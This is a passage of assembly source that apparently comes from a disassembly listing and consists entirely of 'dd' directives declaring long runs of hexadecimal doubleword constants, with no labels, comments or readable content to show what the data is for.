0DCF0FFACh, 3000F8A5h dd 31C2514Eh, 0E14B78h, 0F6A11BDFh, 2843B811h, 0D72B4400h dd 0F08DF348h, 5331D9Ch, 0B1934037h, 19347C4Eh, 0EEEEA424h dd 2022900Fh, 6D1E84CBh, 0BEF900F6h, 83A9CFD3h, 0A203C6E8h dd 2279912Ch, 3C848033h, 0EA800054h, 838E44F1h, 6D076749h dd 35E3977Eh, 0B3CB8270h, 794E0B6Fh, 7000F0E7h, 0F822B46Ch dd 12D68A00h, 1A180BA0h, 68590031h, 696C4E1Ch, 6E00B374h dd 0BD254DE8h, 793B5C8h, 1698C4E3h, 280F8192h, 4863DC4Fh dd 210F60Fh, 67D09968h, 80BB044Ah, 0CAAB313Dh, 53B6E2E1h dd 8383147Eh, 10007D31h, 4437AD89h, 0F52FB3h, 0F4CDEBAh dd 751CA513h, 86588303h, 0F38995E2h, 59292198h, 90A67B08h dd 9A3D848Ch, 6A422D48h, 214024A0h, 3112A5E8h, 89A77510h dd 84350874h, 441008E9h, 2284C8A2h, 49429F8Ch, 219C9111h dd 0A038087Ch, 4784DD90h, 42B0489Fh, 0E1226BD5h, 91EA00BDh dd 75003A83h, 1C673B7Eh, 0ECFCE7Dh, 5921E6A5h, 0DAA371C0h dd 64E00FD9h, 0AD146E00h, 1EA5FB98h, 137E628h, 0CB2924BCh dd 0C8214216h, 0FF007CC2h, 794C6BF2h, 3F6F53h, 14DDA232h dd 0F63CB9B3h, 0E6213500h, 10D80266h, 4D4800C2h, 0FD41820Dh dd 231DA40Ch, 0E5DF17AAh, 3A223901h, 6DF0BE8Fh, 0A1F62AFCh dd 2BE807FCh, 0B33C1A2Fh, 9BF8FFABh, 1B7DD887h, 4839F300h dd 0A090F9E0h, 0BB230074h, 0EC97126Fh, 9C007BF6h, 37D75952h dd 313B632h, 1C71DFAAh, 3CE823E5h, 0BA00BF48h, 6C858F42h dd 921D9105h, 186F0038h, 90BCE520h, 0CB00876Eh, 4B16EF49h dd 36FE86h, 934135DFh, 31E4AC54h, 7C4620Fh, 0D159A71Bh dd 0ECB085F0h, 164E00A4h, 242A9CA6h, 2BFCAB30h, 0F205DA1Fh dd 74B2D41h, 0AAE0B759h, 0AC6900C4h, 51A8C91Dh, 0CC004D7Ch dd 0D0C8972Eh, 9D5745h, 0A4399896h, 0F2A949EDh, 0CEA8200h dd 15B7E3FBh, 0F4E10064h, 0A6DBFEA5h, 292C3B55h, 0C30E3691h dd 3D85C004h, 0C259A24h, 4B794A54h, 173928E8h, 0A8A19452h dd 2A56009Fh, 20D2399Fh, 44C70035h, 0AD607A6Fh, 6200EBC9h dd 0EE4AFEA7h, 0D47F23h, 7AF4BDC2h, 449D685Ah, 6A0025E0h dd 9739A578h, 0F9837Fh, 0B0265F59h, 3D9A81Fh, 0EB1A8B00h dd 2B957BD7h, 55D302E4h, 3673BC80h, 218EC90h, 0E2B33100h dd 795335AEh, 0A3CC001Dh, 0F3A93E93h, 2004EC9h, 0A1FF19A5h dd 1CBA2A75h, 80DC6270h, 0F3C6B35h, 0E300B87Eh, 4DE1CED4h dd 309FE6FEh, 0DF11197Dh, 3A1E8FF0h, 26403FA2h, 64BEC47Ah dd 3D0090B4h dd 5C00C702h, 3846735Eh, 0CB009605h, 7DF8A3B8h, 0E4279AFAh dd 6592409Fh, 6ADC800h, 0F33B4B68h, 9D890F31h, 20786BCFh dd 42095085h, 81AE0FEFh, 4EF4C82Ah, 13C0BE21h, 3F6800BBh dd 87ED3DCDh, 54000383h, 32A425E7h, 15A54Eh, 9660206h dd 6E76530Dh, 0DCAD3401h, 260143C0h, 1E939570h, 4EABC452h dd 1F370F40h, 9708059h, 16F415D5h, 1A419E07h, 8D70DCA8h dd 81114Dh, 0EE3266E2h, 178A5BC9h, 9E47AC00h, 3A875C38h dd 6CD01F24h, 81003A57h, 1FA39BE6h, 5F09309Ah, 150E5B7h dd 0B2F74820h, 7C1CCh, 8A76DB03h, 0FFF1597Fh, 64ED1607h dd 0CE00DA4Fh, 3AC302A9h, 4E841DC0h, 0D0349F3Eh, 893ADA18h dd 0A0A4BD00h, 0A31ECA01h, 0DFF70039h, 5B53C663h, 6E093EC5h dd 945D83h, 6F8DC9CCh, 0F0DE3DCAh, 81EF100h, 240207F8h dd 1F238B02h, 808F6186h, 4D5D5CC8h, 0F14209C8h, 0C0F06A4h dd 2B8E53E0h, 0FC01ABD8h, 0A9BAF4C9h, 40FCF694h, 2AB8071Fh dd 511C2D07h, 0C4A199B7h, 3203AE5Ch, 13CFC0E4h, 0A803A358h dd 0A8994C2h, 0A798DAD1h, 35F703C4h, 0A4C01460h, 203E4763h dd 1FC10085h, 0F7415345h, 16B57C5Ch, 94049Bh, 8635696Ch dd 1F0C1DE5h, 0B88D6087h, 3FE425h, 14EA27CBh, 0B1A6BEB2h dd 230A4Ch, 26A81DEFh, 0E4C0DF34h, 10E80A43h, 16F0F2D6h dd 220D026Ch, 6C4042C1h, 0B140B2F3h, 6218003Fh, 2E7C2BCDh dd 3E019876h, 7A53F90Bh, 983070B8h, 0ADEF0696h, 0A8743D0Ch dd 92762D10h, 0D1850705h, 9BFC0056h, 1B548B63h, 91C3C700h dd 3149C0DDh, 6FDE005Bh, 4C1E6BA1h, 64161CEDh, 0CD004133h dd 448EC385h, 0A1C50023h, 0A92CC9F0h, 9700D073h, 0BA7FA52h dd 0EC450C55h, 0AF2079Bh, 11EE7B54h, 0D8D06841h, 0BD1DF459h dd 0B4C051DAh, 72C65FC4h, 0CEEB0385h, 0C7F81444h, 82D2A5D8h dd 689A4900h, 3B7ADDCFh, 1743008Ch, 1D0D55B2h, 0F0089DAh dd 256C6701h, 0E27A606h, 5D49D0C0h, 0B9E59900h, 0E90A80A3h dd 8072D4F3h, 0EECD7403h, 65A0F8D2h, 0CA46004Ah, 38969FF5h dd 5F2CEC7Fh, 7A008D5Dh, 0C65674A7h, 7CED00A2h, 3082B535h dd 14005B37h, 4A835FB0h, 7E5592h, 0D1C6A965h, 390CA6FFh dd 18954Ch, 74BD382Fh, 7378D3B6h, 0C0BC046Ah, 0C0C6407Ah dd 6E6503F2h, 8C4548h, 0B8880687h, 156F29h, 22AAB28Fh dd 0D19E48F7h, 0D7845000h, 5BB41058h, 0B88007Fh, 2E9C8B6Bh dd 0CE1E24E5h, 1B4FA052h, 0FF65C037h, 167B4426h, 9B13DFh dd 0D0C66F5Fh, 32B007A3h, 33223Fh, 87E1A665h, 3AD68Eh dd 1C7858B1h, 20800B82h, 5184BF07h, 31E1B847h, 1882F97Ch dd 55AE2EA0h, 0DD043B60h, 91846803h, 0CF6FDCDAh, 749A1841h dd 0B750FCh, 80C92383h, 0E97B98B8h, 0DAB54800h, 0A1A63687h dd 170914ABh, 0E72A903h, 0E97D227Ah, 50809A20h, 3C00123Ah dd 8F73CD28h, 70774D04h, 4F51244Ah, 0BFB0075Ch, 403531CAh dd 96F03F7Bh, 1B3F0017h, 0D42F4D28h, 0C8003277h, 0FD9A3136h dd 215648h, 4DD7A668h, 0D26D25EAh, 0EC057CB2h, 0DC0299F8h dd 0F73F7880h, 59FA0010h, 0FB792461h, 67003542h, 1831DE9Eh dd 0DBF81h, 998ADFB2h, 7EBCFA3Eh, 2B9860Ah, 4507ECC5h dd 8E80A925h, 1155D26h, 0A923BB2h, 0DCF9A1B6h, 4B02F5CEh dd 78C59E5Eh, 8CF080F7h, 286F9Fh, 5CE88E6Ch, 0E761D8A2h dd 0DC0EFB00h, 0D53CA538h, 0A890FCh, 0C26C42DAh, 1D3EA6E9h dd 0DD588E00h, 0A463C3E1h, 0E82A023Ch, 775BEF39h, 6BD052C3h dd 0CC019CF8h, 0F670C0E3h, 0C760412Fh, 106200D7h, 7D0374CFh dd 370F9517h, 1C57226h, 3D6C308Ah, 0D8407C71h, 0F01F74h dd 1D798C7h, 49469127h, 5201FAB0h, 0F32D623Dh, 7BC01D8Ch dd 9B143F4Ah, 27707C80h, 0C350F83Fh, 193C260Bh, 0E25C000Ch dd 0C711B3h, 0DF5CBA87h, 95560396h, 0A1F67A1Ch, 92E67F01h dd 54344909h, 0BC70078h, 5318FD99h, 9A04A62Dh, 1022A9CFh dd 1F6CA0h, 0B95ED02Ah, 4E50F572h, 0CF711970h, 2D012498h dd 986ACA85h, 0F1E014EDh, 0F8DD50D9h, 0B204B047h, 0B2730014h dd 0DFA3D443h, 0B8E42DEEh, 958FBF00h, 12ABC979h, 16A11817h dd 3259EE80h, 1DDF8707h, 56D72EBCh, 428EA750h, 40DB0031h dd 0B5D05E30h, 0D700BCF4h, 9EEC089Ch, 1A252E3h, 0EADAD992h dd 98B6D3CFh, 0B1E87EF4h, 8DC33A5Dh, 0C7891E02h, 0D860DCA4h dd 4B886A1Ah, 10B03BBDh, 0DB17C08Ch, 0C09DAA8h, 8097E084h dd 1FABC73Ah, 4E4817A7h, 9F83000Eh, 5936A24Bh, 0BFC40D00h dd 0D6648116h, 751700D3h, 3FBD091Fh, 0CAE8FCC7h, 38905D90h dd 0A91E1000h, 0B6AA7C3h, 57310256h, 5C6BF647h, 0AAC17F60h dd 83CA283Eh, 3DF5DCB3h, 42039081h, 0ABFA0087h, 50ED7870h dd 0F9000753h, 6BCE06C1h, 0F4888Dh, 4DE6115h, 0DA0BDD7Dh dd 0CBB01F03h, 0F956FE77h, 7460B243h, 0EC5D0EBAh, 76A0238Ch dd 536CDCF3h, 0F1503700h, 25CEC1A0h, 2C540094h, 4603520Bh dd 0AA091FB0h, 4070F9CFh, 9056BE50h, 5DD80058h, 0DE1034BFh dd 0A838F5FAh, 4C345C3Bh, 637A0010h, 825A55A7h, 0AC54C0D7h dd 8A5610CDh, 69992202h, 0C1920974h, 0E5E43E90h, 0ECEB38EAh dd 8849387h, 585A097h, 43606B29h, 0BC58766h, 0F5380198h dd 248BB71Bh, 195CD07Ah, 8A143700h, 67FFC448h, 136F3ECDh dd 723A7103h, 43E090A2h, 79009356h, 1CA33B3Ch, 10DD5F4h dd 3E716058h, 0E8C2B913h, 0C0B02CA1h, 8095703Ah, 1C464D77h dd 24149F3Ch, 0D1690Fh, 0E0011913h, 48000ECFh, 0D8C0C87Bh dd 2E7C34Ch, 0C95934D5h, 0B887B793h, 244490E2h, 0AF070171h dd 2B84E44Ch, 392A9850h, 0B1173DF9h, 0A7D4AC80h, 0F78C6BAAh dd 8AF25E2Eh, 957BC800h, 18E35BFh, 44C093A9h, 40113C97h dd 0D4018DB8h, 4A40F896h, 0F9E248h, 1E62D57Fh, 728565B6h dd 0BA68E100h, 5AFCE8C8h, 6E2800A2h, 55FA50CFh, 0EF77DCD6h dd 64904702h, 0E1ACED7Bh, 0F032DE68h, 0B3A25400h, 0A3725849h dd 0CDCBF800h, 404DAA24h, 7BEC13A6h, 551440BBh, 0C249AFA4h dd 0E0F92300h, 4FAD7038h, 6D8E0031h, 0FF7CEE9Ch, 0C14E626Eh dd 48D38C60h, 0C5D50F05h, 0A7E0C802h, 630FF6AEh, 1044103h dd 0E29CB7FBh, 0BFEC4057h, 0E7C9884Bh, 0D66E4109h, 0FF950142h dd 0C092B084h, 0A91C91C5h, 60A2F919h, 3006B8Dh, 0DCA8C6C3h dd 0D8A37h, 22CE3961h, 6DD48B27h, 8456AD09h, 38F2804Ch dd 28352A28h, 3AC4910h, 505CFA23h, 6CD0A2F3h, 63005393h dd 0B8DB769Bh, 243EC8B1h, 811801F8h, 3ACE610Bh, 0EFA1E025h dd 0E4528200h, 21AA0637h, 97DE00A7h, 0A480CF3Eh, 4A001DB0h dd 326AFE74h, 1758DAh, 0AB8C8A23h, 8B515748h, 8FD0B400h dd 33E37C45h, 0F8C00390h, 17EF726Dh, 0D99C7BE8h, 6755FC00h dd 466AC853h, 81233B11h, 16D7F780h, 0E8E09260h, 42C54000h dd 0BBB8F6CFh, 92B018h, 443A1C72h, 0AE585EFh, 7A900E03h dd 0D1196ED2h, 0B8406B0Dh, 51A8FA0h, 4B102642h, 0D19C4035h dd 451DF84Ah, 2EEC403h, 0D04106DAh, 0FE8618EDh, 4EA898D6h dd 284047Ch, 1C2080B4h, 0D22CC9E9h, 0F0218B0h, 206BFB27h dd 0F9937E6Dh, 0EF704202h, 805BEB0Ch, 20862EC8h, 855D019Eh dd 696DE428h, 0A50AECBAh, 97405B00h, 7B5093CEh, 13847167h dd 0C8AC3Bh, 0D0CD46DCh, 0C725C1F2h, 1BF801ADh, 0C06CC310h dd 489273h, 0D618AF2Fh dd 0D2444B0Bh, 20748530h, 0BE01D24h, 55308902h, 0A09AA804h dd 0EF00C874h, 8E6D9099h, 1F789F1h, 0D216A745h, 60C5537Dh dd 47018094h, 0AFFF64CBh, 0F370DA34h, 0A9690007h, 0DB8FA1C6h dd 0E53B2017h, 2E97072Dh, 5CC0C732h, 0F0DDAF33h, 0F0AC053Ch dd 0C06A07BBh, 0CC8FD6B2h, 6633Eh, 0A569B457h, 15CBEE5h dd 0A0F4C9EAh, 701A5E5Fh, 0EC00CB38h, 0B2417AF2h, 0CDA922h dd 0D1D89FEDh, 0D2935504h, 8E7FAA76h, 4B04B498h, 894C660Fh dd 9E1FB480h, 0BF5B0534h, 8578FF09h, 6DBC40E2h, 9DAC8593h dd 29E31800h, 57075024h, 61BC2779h, 8B01481h, 323180F3h dd 47EA7FB8h, 57E100F1h, 0BAF4A8D3h, 96009411h, 4309E71Fh dd 7026116h, 0A1E032B6h, 0D772C073h, 0F600DD4Dh, 362C1E95h dd 76837D1h, 574AA63Ah, 66AEC09Fh, 0D503F146h, 0D7F34FFEh dd 86801E7Dh, 0BD1000E4h, 30D8B396h, 63871800h, 75F53EACh dd 0F7ED0442h, 0B03688B8h, 83005C14h, 0CBD94B2Eh, 0F33C9A7h dd 825D2AFAh, 0C8E3D0A1h, 89BC3014h, 35D79D02h, 0C8B7A23Bh dd 0FBAD6Ch, 60641AC9h, 1DEF10A1h, 8926A339h, 0C136B10Eh dd 3830235Ch, 7414007Dh, 0C5C0E3E7h, 0FB008CB6h, 182CA7A2h dd 0EE481F3Dh, 529C009Dh, 20737DACh, 0B89CC014h, 0CC36DD01h dd 0AC426A11h, 28A0908Ch, 9424E7B4h, 463800F6h, 66D1AE7Fh dd 609A7C3Eh, 9929D8F5h, 0CA0BC2FAh, 1A537F1h, 0A206AD04h dd 0F500B9F1h, 0C1208DE8h, 819A12B1h, 703C094Ch, 68ECF441h dd 0F1D60070h, 73613E08h, 87E81D8Ah, 0A4BE42AFh, 10692819h dd 946878h, 55B7974h, 58305192h, 620604F3h, 0C195DD76h dd 60BF092Eh, 0E2D2020Ch, 0E6AD0958h, 6A001817h, 15290E4Ch dd 5AEBC09h, 61F88759h, 8D925A20h, 265400E3h, 0B9DCCB67h dd 0D1DE503h, 189F50D1h, 0C5BC803Bh, 0A3BEE880h, 0EED500CFh dd 415183EFh, 33673515h, 0AB40B318h, 3BB8D0C1h, 9600B10Ah dd 542FFE3h, 0F8009E06h, 80A34A84h, 76D27FCCh, 34B64869h dd 14993200h, 97517BD4h, 3BECF4E6h, 0F96A1F00h, 8DE62AC9h dd 0C4DC015Ch, 7C7B9A77h, 0FC2C427h, 42387500h, 5E65EA85h dd 703F1F18h, 1520F994h, 23319D04h, 85EA2402h, 0BCA0C0DEh dd 0D03722Ah, 51911ACCh, 444980B3h, 0C7D5132Bh, 0E8D20242h dd 30F00908h, 0C0EEFA00h, 647AA3D0h, 796100D6h, 0EDDA2D1Eh dd 0CE30057Bh, 0AE92C8D5h, 3F8B0763h, 0E00116A1h, 4D21160h dd 205177Fh, 0E787E1DFh, 7E4868C6h, 6EAF0088h, 0E85B1422h dd 5F0194B2h, 0C47A72AEh, 434921Eh, 0B8EC99E2h, 47F69480h dd 0C5EF78A3h, 2A0CAB01h, 2E46FF7Dh, 1718C3ECh, 0FA24A95h dd 0E0091E24h, 70909C00h, 2DE46F83h, 0FF0BADF0h, 765455h dd 515865B8h, 75F0008Eh, 0E7D99285h, 0C50205A4h, 0FFA8A554h dd 247DC0E8h, 0B043005Fh, 0C228AC0h, 0EB01CC5Ah, 6DCAC33h dd 0AF8957Ch, 0E83C0070h, 0E7A93053h, 4000637Ah, 4DE55AE4h dd 2877F822h, 80874Eh, 0E3D4F9Bh, 8A8CDFB2h, 1D2EF600h dd 372FBBC9h, 52640397h, 0E6469B25h, 0EAA2D8E0h, 0BE3CCB3Dh dd 27FB8221h, 0C353D987h, 0F6DEE994h, 706166D9h, 0EFD06FC1h dd 9A441C16h, 0D8C88224h, 0D4A9C52Fh, 748E5401h, 96FD40Ch dd 0C4B68200h, 4134369Dh, 3ECB013h, 7D92ACD6h, 4AD81EFEh dd 827E8AC5h, 517E6800h, 0CC795E69h, 0DC6105D1h, 80B325CDh dd 27CB93C4h, 2C74C75Bh, 4C7068F2h, 14075C92h, 0CE0589DAh dd 0DB580840h, 8CA0C84Eh, 7912E0B4h, 1450D9F9h, 8BAB018Ah dd 8E7F55Eh, 2B1900FFh, 66A1F27Bh, 72246B6Fh, 3A081C8Bh dd 0D69150h, 0CD8E9A5Eh, 0F106F86h, 0CAFA69FFh, 5F27A8A2h dd 75417860h, 0B8607A00h, 6A652EF0h, 38A7C07h, 0D743478h dd 0B9A81627h, 0E2894F9h, 9F00F4D7h, 0F645A51Fh, 0ADB22Ah dd 0F8B8758Ch, 0B7276258h, 0FBEC2C00h, 3020A44Ch, 7B5900ABh dd 874B0849h, 5100C438h, 0DF0E8924h, 0CB55A6h, 2286613Ah dd 3945D4B3h, 9A260B00h, 0E12E7101h, 40DCA04Dh, 0EFA9C96Fh dd 826ED700h, 0E9047187h, 5CE4FED7h, 0A5789780h, 0CD2A0BA1h dd 1E0325B8h, 0BAF0A797h, 0E2003D15h, 7CC56112h, 50B22C88h dd 2F6FDCB5h, 81C5B87h, 3717D4BCh, 42295001h, 76F549F3h dd 1DC0DDE8h, 403396D9h, 17B2658h, 0F0413A0h, 0BBF79221h dd 0FE475CB1h, 0DA09A135h, 83AE00E1h, 7B6D7721h, 20EB0726h dd 47E47BB8h, 71DC9347h, 0D6F88FC8h, 0FD364500h, 31C01E7Ah dd 0D24100E6h, 77A827CDh, 545E33FBh, 0B87B8CE8h, 73B20059h dd 3B2F96C8h, 375BA50h, 0D82E451Eh, 4A8500F9h, 54F1246Eh dd 34570913h, 7CC18E02h, 142CBBh, 9952CA84h, 0C48179h dd 8A619B65h, 0F8156FD1h, 7E2DCE30h, 11E97B4h, 0F2EEB3BBh dd 0E8BF9D24h, 2100B9D8h, 67023609h, 2706DD5h, 2003F464h dd 0F4D839BEh, 79722802h, 68A2CB2Ch, 0DBEFC8h, 0D49771DDh dd 6BC469CEh, 782F7703h, 0F0965970h, 7967BA14h, 0B473C0h dd 0A5122DA8h, 0F7EFC30Eh, 33687107h, 66B0D790h, 3B53C73h dd 8DA0C7C4h, 4598F0C5h, 0C6006421h, 91A89829h, 28265B2h dd 32DE0E2Bh, 26E0C9D1h, 0C703BB73h, 6A156B71h, 0B560A8E8h dd 0B4DE03E4h, 0A2F022Dh, 9DD6F6E0h, 28F9C201h, 0AEAACF17h dd 3167D886h, 3E01200Fh, 0B6F0C29Eh, 0B960E99Dh, 53A20E2Ch dd 1E92360Ah, 3C521E64h, 0BD9DEB87h, 31187ACh, 28122E80h dd 0D200F131h, 5CC31FFDh, 0F77C000Dh, 0AC7DCE63h, 0AD98EC57h dd 70AA5F03h, 711168Bh, 482C8039h, 0D0B0B4E8h, 73283474h dd 4C00BCAAh, 0C19DDE8Eh, 0B06EEA12h, 20A3100Fh, 0E5CC54Ch dd 3B43009Ch, 88A4C2ABh, 12B8DD9Dh, 0A8A25433h, 728EF8B6h dd 0C7E007CFh, 90A3380Dh, 46A60510h, 5DB7F917h, 0AFD9C80Fh dd 0FF1D6085h, 3C6EB44h, 0CA46C77h, 900469C9h, 972EE10Ah dd 0FCAAD8BCh, 0B2A00F9h, 1FF7DC8Bh, 1100B4D5h, 566E9106h dd 1C7566C7h, 9F41B23Dh, 0E31E7C15h, 0E8B1D7Ch, 3981037Dh dd 0E8890B63h, 8D3C1E48h, 0EAC5CAFh, 830658DEh, 0C02009C9h dd 93FEDDh, 465B64Dh, 0B5C9A47h, 6800DCF8h, 0AE43AF5h dd 1EC74311h, 45667E5Ah, 30B5079Dh, 422C0C58h, 0EEB610C0h dd 1544FD2h, 609A9190h, 0CEEB0A8Eh, 470C9C40h, 0DA984D03h dd 21F173B5h, 27086529h, 882B90A9h, 225944D9h, 81F11DCh dd 0E5E74544h, 0C367119Bh, 114E0311h, 0C112E670h, 92512882h dd 141CD725h, 1528E511h, 0BC442228h, 8F3C3B50h, 8409E444h dd 42BD4B22h, 141628AFh, 229FFD22h, 0C28397ADh, 0FD272911h dd 5308F121h, 84A790C6h, 0C548F34Eh, 0E8EEFF80h, 0E2366Fh dd 4F696377h, 448FD54Ah, 0C7C55A00h, 14B4A7B5h, 25451F9Eh dd 96AC097h, 43A6FEC3h, 0E3ECEF0Bh, 0F26403AFh, 84B5D0CDh dd 0E25C1E75h, 4595401Dh, 6DBDEF33h, 0F4909B00h, 0DC8AADFh dd 8EBA00DDh, 63B20A57h, 2201EA1Eh, 24B5190Ch, 35C48636h dd 0D7F80Eh, 88849A82h, 2793FD76h, 0F6EDAA00h, 4D2D10D1h dd 89A40025h, 0CDF049A3h, 5A70615Eh, 734D649h, 79ECF1D1h dd 24353820h, 0EBB907A6h, 70B1A79Eh, 0C415B8A4h, 0FCAE7326h dd 40962500h, 83414677h, 18B8A1C3h, 4F008358h, 0F35C676Ah dd 15BA9C7h, 3E6665F7h, 0D5F4F5AAh, 0E2888B91h, 0EB8A3F0h dd 64E08020h, 775F0075h, 865D85F8h, 0C9006954h, 0CCCAEF31h dd 7B8FC533h, 0C4BD0317h dd 4F7491BEh, 0A06740E0h, 3102A0B0h, 0B165EA1h, 43988F49h dd 0C89A978Fh, 6A244Dh, 0C470A57Bh, 0DD1C9DF9h, 9C000174h dd 110BBAEEh, 307314h, 461948F4h, 1589E70Eh, 6D6F100h dd 7EA3CEB8h, 586F698h, 0F4744C9Fh, 0B9C007Ch, 3A6BFCF3h dd 0F1BDE1Dh, 0F9363B40h, 8638A0h, 8BB1B3E9h, 199A20E0h dd 4E0793E2h, 0FAC71556h, 0E8F33711h, 228B3D8h, 0AC19F699h dd 0C408581h, 5E0079E6h, 4AB83F94h, 70A94620h, 12E400C6h dd 0C4D807D6h, 7A0742FFh, 47E99E5Fh, 7FDBBEF0h, 0DA72A3h dd 1C1ED557h, 3B389F07h, 5F96207h, 55D04AFCh, 788D11DFh dd 3DEC053Ah, 208E5B96h, 28E272C4h, 65080E1Fh, 6926B500h dd 121C4Bh, 0E53D2C3Bh, 55852F84h, 0ED27D501h, 0B82D96ADh dd 0DA860421h, 112C1C92h, 636FCD00h, 0E4D99384h, 2FDE0444h dd 80BB4CE2h, 2EBF752Ch, 0E11D8F25h, 84247924h, 0A4E900D8h dd 4AFD855Fh, 6C000711h, 8ED0103Dh, 740919h, 6F3F171h dd 76D82043h, 4184521Bh, 0D05ED310h, 2608F705h, 17E791h dd 6C04D592h, 94CD29Ch, 0D99000E7h, 0AD36207Ah, 10680048h dd 38A2CBCEh, 270003BCh, 93D902DBh, 372095h, 5470A6B5h dd 7891D1A4h, 99741500h, 0BB56D271h, 0F5ED070Ch, 90C1399Fh dd 57B7D94Ah, 0ABC29B00h, 362B7CE0h, 0F10A12B3h, 0FF300092h dd 0DA2818CEh, 0FBDF8100h, 96769B8Eh, 880E3A32h, 0C490A738h dd 87DB0079h, 0EE0ABBADh, 3DA001CBh, 7109260Ch, 4134244Fh dd 0B0F07B0Fh, 65E9618Ah, 4032465Dh, 0F8C9070Eh, 0F5603A2Eh dd 751AE9C5h, 308648h, 952E2AB6h, 1DE6593Fh, 8789A6h, 0B2E93B9Fh dd 73000316h, 0DBCECDEh, 1DAEF0Fh, 822A44C1h, 80834C3Ah dd 5E4B3406h, 7CB027h, 24221D41h, 0FFCF187Dh, 1EBC1248h dd 2686E5FBh, 3E101303h, 0DA0951A7h, 800B8ADh, 4AB45464h dd 0B3C88450h, 5C333012h, 1958E000h, 4FE1DA3Ah, 53A8D0A7h dd 7DEC7594h, 6CA4CCA0h, 0F005393Ah, 8A6DD900h, 3F5D4EF4h dd 33E90091h, 0CA1AD436h, 420390A4h, 20C088F2h, 0A3885010h dd 22F00029h, 67F3F4E6h, 0CE00A594h, 37CF3B88h, 1C855C2Dh dd 0C12F38DAh, 222C1848h, 3371CC28h, 0D8244B0Fh, 5E72C383h dd 755C800Eh, 0C8BE2D7h, 5A70671Dh, 0E200AB10h, 0EF1F3827h dd 24FEBE04h, 1F443565h, 81803B3Eh, 52F3767Eh, 95005692h dd 8762D82Bh, 28DE15h, 0D4FA3EBFh, 50A4C65Dh, 0B229EA07h dd 94C13A88h, 802BDA23h, 822B5C64h, 5102CC00h, 3FB73710h dd 87E839h, 0AB13E476h, 0E5BE0555h, 89368500h, 84D93B42h dd 0D4F6098Ah, 0C48F33DCh, 3C43C2E0h, 344C4ED0h, 5AA00769h dd 0CA7035DDh, 1190Dh, 23EEE286h, 4E32693Bh, 4B0095ECh dd 1543B23Ah, 0F8E0C0h, 773F0586h, 0AC42E525h, 0DE8B2709h dd 0AA2010B2h, 824505EBh, 195BD47h, 2641D3E4h, 860B7F52h dd 0A6418738h, 45DFA3E1h, 35506E82h, 0C402B89h, 84021342h dd 0CC3D7E3Ah, 0EBE8A00Fh, 41B915h, 8F587D44h, 5BCF98CAh dd 3E002276h, 0A8C19B10h, 268402h, 0C8133130h, 0DCB1CFFDh dd 3376B3Dh, 2EACDFD6h, 8B509F38h, 0DDE33h, 819E58D7h dd 0D0174FBDh, 8600F870h, 4152438Ch, 486AA4CCh, 9801B0C2h dd 0E7698B08h, 0CF5FF491h, 8063C038h, 6897CBEFh, 7FF4E3Bh dd 0CA5C2931h, 0D9A1AF02h, 0E87FB3D8h, 8C00FDAFh, 12A69FBAh dd 0D1D249h, 86AED5CFh, 7478EBB3h, 4FF8700Fh, 41112024h dd 299B530h, 3CFBEAF7h, 0DE60ADBDh, 1E01195Ch, 2EC0FE6Eh dd 0CBE09783h, 3E420F61h, 0AE00ACCFh, 9FE1C3F2h, 0CD0011EEh dd 0F21FC88h, 0F252747Ch, 4F2000CAh, 622CBC9Bh, 0B1F42F3Fh dd 8019053Dh, 0EA171C81h, 0E64002h, 0EC5529C1h, 7B902DA5h dd 56892800h, 3F135FB2h, 8C5E288Eh, 736A3BDDh, 43A16080h dd 0A4B788BEh, 0CE14B600h, 0C9703B0Eh, 1179002Ah, 778E962Bh dd 0D4036A88h, 5956F89h, 0EACAA880h, 2C4E00EFh, 6B73A46Ch dd 4C78666Eh, 6944E300h, 831C861Eh, 2BEB00BCh, 38B97CA7h dd 6700915Dh, 0A8E7578Dh, 66E0B7h, 7BBA5956h, 58839E47h dd 618A7800h, 5ED33F2Eh, 596B067h, 0EF681187h, 0BD5D806Ah dd 0A4007D76h, 71EAB3BCh, 0E62104Ah, 0F9FD0A51h, 0E100AF97h dd 585B80CDh, 554900B2h, 0F6074B0h, 400D7FDh, 0A8D4592Fh dd 3B0CE156h, 82824180h, 90AC9291h, 0D80D089h, 0E63C2053h dd 13C29D0Ah, 1C87CCB1h, 58702B7Fh, 0FA145E9h, 5E30BA41h dd 0B31BD340h, 62001F0Fh, 0DF0915C0h, 15A7ECD2h, 0D07F313Ah dd 745CA503h, 71B03B79h, 0ED019540h, 220D08E2h, 0D8506920h dd 0AAB646h, 0B4DC41Ah, 2EBB053Ah, 0F030D300h, 0BDCBE25Dh dd 0E3E60719h, 50A99CA0h, 0FC874F69h, 56383B00h, 26E88B8Fh dd 0FDDFA1Dh, 0D5F2AEFh, 7423AAE0h, 0FE00360Fh, 0CC04F262h dd 19AFD0h, 182C2587h, 33111F91h, 0E2EC7E00h, 0BC21AE2Ah dd 94A100AFh, 0E1251785h, 0F500A734h, 2229CBF3h, 0F8B405DCh dd 23380075h, 0AFB9896Ch, 0E8065928h, 54E94A6Ah, 55840F7Ah dd 72231Dh, 0D7628C0h, 6906F038h, 0D7C10B1Ch, 0CC901E88h dd 3D68803Fh, 0E65FF94Ch, 0CF8012B8h, 6E0B958Fh, 80AB7246h dd 0FBF41A1h, 0D04709E4h, 0C0207D81h, 0F3633A2Ah, 2795AB3Fh dd 97EF08Fh, 9C36E154h, 0EA00BC09h, 6556DFCFh, 3082D000h dd 5D1A02EFh, 84830398h, 0E0E8C5EAh, 0AFBDA800h, 0A9D6D121h dd 281EF01Ah, 0A0114Eh, 0F607F161h, 0D247677h, 0C77C0206h dd 3E38F593h, 6B054282h, 803366D3h, 0C8BCAF9Eh, 73F40A00h dd 68DFCC40h, 0E828FE56h, 0D6AE002Eh, 0BF79643h, 0A600BFA9h dd 0EE1D22FBh, 784FEh, 0EF98AE49h, 0CF0E3B2Eh, 0E599E900h dd 1AECF740h, 0A2DB00E1h, 5AA4BC88h, 0D4901016h, 0A7F94100h dd 555E71D2h, 0D5331C09h, 4072DF0Dh, 0A01417C7h, 23070265h dd 0D60F5273h, 0BD461320h, 0A57F0101h, 53D721EAh, 6299F4DAh dd 0F83EC100h, 6A3C0383h, 0A1F1CA4h, 949B80B4h, 0C48AB967h dd 71C5574Ch, 94CDD5Ch, 61A9A697h, 2822E1FDh, 0D850280Ah dd 427A00DFh, 9436A95h, 110E0126h, 36C74F03h, 3B28E978h dd 342088D1h, 0CE08299Eh, 0DC401C0h, 0D705019Dh, 4775CFC8h dd 50288F60h, 0E86D0F4Eh, 0C35E07E9h, 0C7CA5862h, 80FE07F5h dd 14AF9EE6h, 57BBAC00h, 0CBD7C888h, 3CDB4459h, 8C006978h dd 7F7D3204h, 210CF1h, 424F8E1Fh, 63BCD31Dh, 